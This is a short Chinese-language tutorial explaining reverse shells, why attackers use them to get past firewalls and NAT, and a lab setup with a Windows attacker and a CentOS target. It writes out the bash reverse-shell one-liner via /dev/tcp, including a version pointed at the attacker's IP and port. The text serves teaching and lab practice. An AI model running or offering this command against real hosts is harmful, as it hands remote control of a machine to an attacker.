一、什么是反弹shell?
反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。
就我个人对反弹shell的理解是:
在Linux中的shell是指一个面向用户的命令接口,也就是一个命令解析器。用户可以通过在shell上键入命令来达到操作主机的目的。正常情况下shell只能由主机的用户使用,但是反弹shell的目的则是将自己的shell反弹给别的主机,让别的主机可以通过shell来控制自己。
二、为什么要反弹shell?
至于为什么要反弹shell,那是被控端可能因防火墙受限、权限不足、端口被占用等情形导致攻击者无法直接对目标进行控制。
举例:假设我们攻击了一台主机,打开了该主机的一个端口,攻击者在自己的主机上去连接目标机器(目标ip:目标机器端口),这是比较常规的方式,叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能使用了呢?
有如下情况:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.目标主机的ip是动态改变的,不能持续控制。
3.由于防火墙等限制,目标主机只能发送请求,不能接收请求。
4.对于病毒、木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是最好的办法。
那么反弹就很好理解了,攻击者指定服务端,目标主机主动连接攻击者的服务端程序,就叫反弹连接。这里的反弹shell就属于反弹连接。
三、实验环境
windows11(攻击者):192.169.29.233
Centos 7(攻击目标):192.168.204.100
四、使用bash命令反弹shell
反弹shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
(1)攻击者本地监听12666端口

(2)目标主机执行反弹shell命令
bash -i >& /dev/tcp/192.169.29.233/12666 0>&1

执行完成之后再看我们的攻击者主机可以发现目标的shell已经反弹过来了

2085

被折叠的 条评论
为什么被折叠?



